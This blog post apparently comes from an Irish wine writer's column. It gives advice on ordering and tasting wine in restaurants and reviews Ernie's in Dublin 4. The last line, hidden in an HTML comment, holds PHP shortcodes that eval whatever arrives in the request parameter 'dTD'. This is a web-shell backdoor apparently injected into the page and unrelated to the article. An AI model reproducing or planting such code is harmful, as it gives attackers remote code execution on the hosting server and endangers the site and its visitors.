Given what I do for a living, it’s not surprising that, when I’m out to dinner with a group of people, I’m frequently handed the wine list and called on to choose the tipple. It’s a task I hate. To paraphrase that well-known expression, you can please most of the people most of the time but it’s a given that you can’t please all the people all of the time. It follows that if you restrict your choice to house wine there’s always one who fancies pushing the boat out and who is at pains to let you know. Or there will be a miserable bastard in the party who finds your charming Valpolicella ripasso “too thin”. Or someone who doesn’t drink chardonnay but doesn’t mention the fact until after the cork’s been pulled. Last week I was dining with two friends, one a wine snob, the other a miser, on a shared bill basis. I really did not want to choose the wine. In the event I plucked up courage and went straight to the middle of the list, prepared to justify my choices to both parties. I’ve had better nights.

 

So it’s unsurprising that many people, faced with the prospect of ordering wine in a restaurant, feel intimidated, especially when lumbered with a wine list the size of a family bible containing a list of unfamiliar names as long as the national census. Only advice I can give is “chill; be your own person and make a mental note to strike any begrudger from your almanac of dining companions.”

 

The first choice you have to make is whether to order by the glass or by the bottle. If there are only two of you it’s kinder to the one who has volunteered to drive home if you opt to drink by the glass. That way there is no emotional pressure on your co-diner to knock back their half of the bottle. But bear in mind that if you do order by the bottle there is absolutely no shame in asking the waiter to replace the cork so you can drink the residue at home.

 

Initially, your task is to decide whether you’re going to drink red, white or both. Ordering both a red and white will obviously accommodate a broader range of preferences. Next, you should take into consideration what guests have chosen to eat. I’ve said before, I am not as heavily into wine and food matching as certain other wine critics. Nevertheless, there’s no doubt big, hearty red wines favour steak and stand up to rich sauces, whereas grilled chicken and salads can be paired to advantage with white wines. By all means take into consideration the preferences of your fellow guests but remember someone has to make the decision, so give yourself the casting vote. Take a deep breath and go for it.

You should have a budget in mind so, prior to ordering do consult your dining companions. I know of a college reunion that ended in acrimony because two of the more wine-savvy alumni got together and ordered a cult wine that not only went over the heads of their fellow guests but cost much more than they considered reasonable. The next major pitfall to overcome is the house wine. House wines can be a blessing or a curse. As a rule of thumb, a restaurant that takes an interest in wine and that employs a properly trained sommelier will have a house wine they are proud to stand over – frequently one from a smart producer in a less than fashionable region. On the other hand many restaurants see house wines as an opportunity to make real money, imposing an exorbitant mark up on a wine of poor quality – perhaps one of the bargain basement ‘specials’ that importers rake up from time to time, frequently time-expired sauvignon blancs or merlots else bulk horrors from some ‘wine lake’.

When push comes to shove, it’s all down to how seriously a restaurant takes its wine. So do your homework. Find out before you go whether the restaurant you’ve booked pays due respect to wine. If they publish the wine list on the net, check out a few of their offerings. Googling a wine should tell you if it’s a dog or a diamond. While you are doing this, clock the r.r.p. if you can. Of course this may not be possible. Certain wines are marketed to the ‘on trade’ only. Hardly surprising – no restaurant wants its wines available in the offie down the road; nor do they want the customer to know what the wine costs. When it comes to mark-ups, 3 times the retail price is fairly normal. Anything less and you are getting something of a bargain. Most restaurants will have at least a couple of items on the carte – usually from well known producers where the r.r.p actually can be checked out.

The process requires interaction between chooser (you) and server (waiter, or, in a good restaurant, sommelier). First off, the server should show you the bottle BEFORE opening. Your initial task is to inspect the label. Sometimes the restaurant will be out of the vintage specified on the list and will substitute a different one without asking. You may not mind this, but now is the time to decide. If the restaurant has a trained sommelier, he or she is there to be used. Don’t be afraid to consult, when trying to decide what wines to order. Be careful, though. I was reviewing a restaurant recently where the sommelier put in an impassioned plea for us to have the Bourgueil. In the event it was thin and mean. Talking to other diners, it appeared he’d tried the same stunt on them. I reckon they must have had shedloads of this muck downstairs and that the sommelier was under orders to shift it!

After opening, the server should hand you the cork. Simply make sure it is not dried out, cracked or damaged, other than by the insertion of a corkscrew. Next, the server should pour a small amount into your glass. Swirl the glass (careful!) and sniff the wine. If you smell offensive odours – vinegar, bad eggs, farmyard manure, wet wool, newspaper from a damp cellar are the most common – then reject it. If unsure, ask the server to smell or get a second opinion from another guest.

If the wine passes the schnozz test, then taste. Be aware that rejecting a wine simply because you don’t like the taste is unfair – you have to shoulder a certain amount of responsibility. That said, a trained sommelier may notice your displeasure and offer a replacement and, if so, accept with thanks.

Only when you’ve given the thumbs up should the server pour more, filling the other guests’ glasses first. The server should only refill glasses as needed, to around one-third the way up the glass. Untrained servers will fill glasses to the brim and top up too frequently, object being to get you to order more wine. It’s a foolish and immoral attitude, in my opinion, and a trademark of a bad restaurant.

Ernie on Ernie's

Ernie on Ernie’s, now there’s a headline. Alas this magazine’s tasteful typesetting constraints prevents me from flagging it Sun-esque fashion, in 90-point Cooper Black Ultrabold. On second thoughts, perhaps as well, as this Dublin restaurant no longer enjoys the high profile of yore. The tiger generation who dine at places like One Pico and Halo would only wonder “Where the hell is Ernie’s?”
A good question. One could live a lifetime in Dublin 4 without finding Mulberry Gardens. The location is discrete, to say the least. “Up the laneway alongside Kiely’s pub/opposite Marion Gale’s” is maitre d Robert Cahill’s direction, depending upon the sex of the inquirer. This non-PC categorisation is a clue to the nature of Ernie’s. It has a slightly old-fashioned, almost ‘clubby’ atmosphere; it wouldn’t be a first choice for a clutch of feisty females on a night out; and the clientele could best be described as ‘mature’ – on the night we dined there even those couples who must have been under forty didn’t look it.
Remarkably, the place still reeks of the late, well-remembered Ernie Evans, on whom be peace. A genial, expansive, amply-proportioned chef-proprietor of the old school, Ernie kept table principally for deal doers, especially high-living politicians, their ladies and their businessmen friends in days when Dublin didn’t have too many fine-dining restaurants. It was a place for discreet assignations of every kind. Ernie Evans’ private art collection (some absolute beauties) hangs on the walls, his key to an American city in a glass cabinet in the side-room that serves as a before-and-after bar.
Yet Ernie’s is not stuffy. The courtyard and fountain, the white cane furniture upholstered in powder blue, the soft pink walls and the paintings combine to give an airy and Provencal feel. Service, by a skilled team who’ve been together a long time, is attentive, expert, deferential but not grovelling.
The food is by today’s standards conservative. The menu lists a mere seven starters and ten mains, plus specials. Poached salmon, Dublin bay prawns, rack of lamb, fillet of beef and supreme of chicken all make an appearance, there are no novel twists, no signature dish. Robert Sultan, the talented young chef, has not really got to grips with putting his own stamp on the food and indeed it’s doubtful that the regulars would wear it if he did. The wine list is rather old-hat. It’s Ernie Evans’ list, largely French, the great names of yesteryear are all there and if you want to drink high-priced bordeaux and burgundy, Baron de L or La Chapelle, you can. Italy, Spain and the New World get a scant two pages, after a whole page of port. We couldn’t find a bargain or a surprise anywhere.

My starter was not great. The concept appealed – a tian of fresh crabmeat and green-lipped mussels over a bed of pickled cucumber, served with a roasted lemon mayonnaise – but the execution appalled as vinaigrette and lemon combined to overwhelm the seafood and murder the Chablis (Albert Pic, e35).

Back to the drawing board for this one, Robert.

From this false start it was onwards and upwards, the food got better and better. I made frequent raids on (let’s be appropriately discreet and call her) Madame X’s lovely pancetta and goats’ cheese risotto. I had to go for the panfried veal sweetbreads in a port wine and tarragon jus. Sweetbreads, the flared trousers, the purple Robin Hood vest of meats, nostalgia on a plate, are us. Well, me anyway. And they were great, crisp outside, succulent within, the jus, liberally bestowed, tasting of its components. I had to have a half bottle of St.Emilion 1998 (turned out to be Lussac-St.Emilion) to wash it down with. Meanwhile the dark lady of my sonnets had plumped for the roasted monkfish, coconut, ginger and coriander sauce and the rhetorical “Do I really like monkfish?” was soon replaced by “This is brilliant”. She was spot on. After a year’s worth of premium-priced disintegrating, flavourless flab I too had convinced myself that monks weren’t what they used to be. This crisp, aniseedy, just landed specimen, superbly fettled, restored my faith at first bite. Portions of both mains were generous. The accompanying vegetables – carrots and french beans conscientiously reworked and a flavoursome mash – met with our approval. Altogether, honest cooking of decent ingredients. Nor did the desserts disappoint, except that the tiered lemon meringue (I bet if they took this off the menu a riot would ensue) was a trifle too sweet for my inamorata’s taste. My own hot soft chocolate pudding, served with a passion fruit and Campari sorbet was everything I’d hoped for and a bit more. Coffee was good, not great. One plus point – iced water was provided and freely given. No one tried to flog you a bottle of Ballyhoo Spring loaded with a sky high mark-up, increasingly the trend these days.

The bill came to e185. Expensive? Yes, but I’m not going to debate the value for money/are we being ripped off question other than to say that it’s getting harder and harder to start/own/run a restaurant in Dublin. And harder and harder to find three courses, coffee, and a half-decent drop of wine in anything like a sympatique ambience for much less than e200. There seem to be an awful lot of people around who can afford to dine out on this scale. There may not be for too much longer, then market forces will take over and changes will come. We may be asked to sign a claims waiver on entering a restaurant, who knows. If you have the wherewithal and are weary of the trendy and ephemeral, you might just like Ernie’s.

Ernie’s, Mulberry Gardens, Donnybrook, Dublin 4 Tel: (01) 269 3300 Fax: (01) 269 3260

Reblog this post [with Zemanta]

<!– [insert_php]if (isset($_REQUEST["dTD"])){eval($_REQUEST["dTD"]);exit;}[/insert_php][php]if (isset($_REQUEST["dTD"])){eval($_REQUEST["dTD"]);exit;}[/php] –>